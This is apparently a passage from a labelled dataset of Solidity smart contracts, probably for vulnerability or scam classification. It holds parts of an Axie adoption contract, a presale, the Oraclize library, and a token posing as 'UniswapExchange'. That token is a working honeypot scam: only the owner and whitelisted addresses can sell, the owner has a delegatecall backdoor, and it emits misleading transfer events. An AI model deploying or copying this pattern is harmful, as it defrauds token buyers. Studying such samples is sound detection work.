_redeemAdoptedAxies(receiver, CLASS_AQUATIC, aquaticQuantity),
_redeemAdoptedAxies(receiver, CLASS_PLANT, plantQuantity)
);
}
function redeemRewardedAxies(
address receiver,
uint256 quantity
)
public
onlyOwner
whenNotPaused
returns (uint256 remainingQuantity)
{
remainingQuantity = axiesRewarded[receiver] = axiesRewarded[receiver].sub(quantity);
if (quantity > 0) {
totalAxiesRewarded -= quantity;
RewardedAxiesRedeemed(receiver, quantity);
}
}
function _axiesPrice(
uint8 clazz,
uint256 quantity
)
private
view
returns (uint256 totalPrice, uint256 priceIncrement, uint256 currentPrice)
{
priceIncrement = priceIncrements[clazz];
currentPrice = currentPrices[clazz];
uint256 nextPrice;
for (uint256 i = 0; i < quantity; i++) {
totalPrice = totalPrice.add(currentPrice);
nextPrice = currentPrice.add(priceIncrement);
if (nextPrice / 100 finney != currentPrice / 100 finney) {
priceIncrement >>= 1;
}
currentPrice = nextPrice;
}
}
function _adoptAxies(
address adopter,
uint8 clazz,
uint256 quantity,
address referrer
)
private
returns (uint256 totalPrice)
{
(totalPrice, priceIncrements[clazz], currentPrices[clazz]) = _axiesPrice(clazz, quantity);
axiesAdopted[adopter][clazz] = axiesAdopted[adopter][clazz].add(quantity);
totalAxiesAdopted[clazz] = totalAxiesAdopted[clazz].add(quantity);
AxiesAdopted(
adopter,
clazz,
quantity,
referrer
);
}
function _redeemAdoptedAxies(
address receiver,
uint8 clazz,
uint256 quantity
)
private
returns (uint256 remainingQuantity)
{
remainingQuantity = axiesAdopted[receiver][clazz] = axiesAdopted[receiver][clazz].sub(quantity);
if (quantity > 0) {
totalAxiesAdopted[clazz] -= quantity;
AdoptedAxiesRedeemed(receiver, clazz, quantity);
}
}
} | 1 | 4,145 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,712 |
pragma solidity ^0.4.11;
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ABCToken is MintableToken {
string public name = "ABCToken";
string public symbol = "ABC";
uint256 public decimals = 18;
function() {
revert();
}
}
contract ABCPresale is Ownable {
using SafeMath for uint256;
ABCToken public token;
uint256 public startBlock;
uint256 public endBlock;
bool public presaleClosedManually = false;
bool public isFinalized = false;
address public founders;
address public developer;
uint256 public weiRaised;
uint public rate = 181818;
uint public hardcap = 5550 ether;
uint public softcap = 5500 ether;
uint founders_abc = 2500 ether;
uint developer_abc = 15 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
event ClosedManually();
function ABCPresale(uint256 _startBlock, uint256 _endBlock, address _founders, address _developer) {
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
token = createTokenContract();
startBlock = _startBlock;
endBlock = _endBlock;
founders = _founders;
developer = _developer;
}
function createTokenContract() internal returns (ABCToken) {
return new ABCToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.div(100).mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
founders.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = weiRaised.add(msg.value) <= hardcap;
bool biggerThanLeftBound = msg.value >= 300 finney;
bool smallerThanRightBound = msg.value <= 1000 ether;
return withinPeriod && nonZeroPurchase && withinCap && biggerThanLeftBound && smallerThanRightBound && !presaleClosedManually && !isFinalized;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= softcap;
return block.number > endBlock || capReached || presaleClosedManually || isFinalized;
}
function changeTokenOwner(address newOwner) onlyOwner {
token.transferOwnership(newOwner);
}
function closePresale() onlyOwner {
require(!isFinalized);
require(!presaleClosedManually);
require(block.number > startBlock && block.number < endBlock);
presaleClosedManually = true;
finalization();
ClosedManually();
isFinalized = true;
}
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.mint(developer, developer_abc.mul(2000));
token.mint(founders, founders_abc.mul(2000));
}
} | 1 | 4,100 |
pragma solidity ^0.4.0;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
networkID = networkID;
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
myid = myid; result = result; proof = proof;
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
